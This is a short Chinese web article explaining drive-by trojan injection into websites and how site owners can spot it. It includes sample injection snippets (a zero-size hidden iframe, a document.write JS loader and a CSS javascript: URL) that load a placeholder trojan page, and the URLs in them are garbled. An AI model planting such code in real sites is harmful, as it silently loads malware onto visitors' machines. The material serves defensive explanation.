挂马
时间：2023-06-15 22:33:01 | 来源：营销百科
时间：2023-06-15 22:33:01 来源：营销百科
挂马：其实我们说的所谓的挂马一般就是在那些可编辑文件下或是头部加入一段代码来实现跳转到别的网站访问那个他们指定的HTML网页木马的然后通过你电脑本身的漏洞攻破你的系统给你下载一个下载者，然后那下载者设定多少时间后开始在指定地点隐藏下载木马并运行！所以说我们只要把那段代码给清理掉了就达到了清理挂马的作用了！所以我们首先要辨别是不是自己的站是不是被挂马！你如果打开网站发现很卡但是杀毒软件没报警别以为没事了，很多马很有可能做了免杀处理所以杀软没反映！我们打开网站点查看源代码如果顶部或是底下出现了这样的代码就恭喜你中标了！比如：
iframe src=http://localhost/azltj/http: //www.baidu/muma.html width=0 height=0/iframe
我想学做站的人都知道这行代码的意思吧？就是插入一个长和高都是0框架运行
http: //www.baidu/muma.html这个页面！但是因为框架的长和高都是零你就没办法看到那个窗口了！但是如果你没在顶部和底部发现这些代码就以为没事了，有的人还会在中间插入，只是在底部和顶部绝对不会影响到网站的整体结构不用想那么多！但是如果那个挂马的哥们稍微耐心一点多测试一下在网站代码的中间还是很容易的！所以如果你代码太多嫌找着麻烦的话你就可以直接在IE浏览器里点查看--隐私里看到底有没有外连到别的站上去的站！有的话那很有可能被挂马了！（PS：如果你的站采集了的别人的图片的话在隐私里会有连到别人那的哦，或是统计代码也是，所以这要自己分析，哪些是正常的，哪些不是）！有的童鞋可能会说你这人真笨怎么不知道在源文件里直接查找iframe这个呢！这样快多了，但是我想说的是不是所有人都是用插入框架的方法挂马的，方法可是有很多的哦，我就给大家列举一下比如：
1 、js文件挂马
首先将以下代码
document.write('iframe width='0' height='0'
src='http://localhost/azltj/http //www.baidu/muma.htm'/iframe');
保存为xxx.js，
则JS挂马代码为
script language=javascript src=http://localhost/azltj/xxx.js/script
2、css中挂马
body {
background-image: url('javascript:document.write('script
src=http://localhost/azltj/http: //www.baidu/muma.js/script')')}
在线咨询
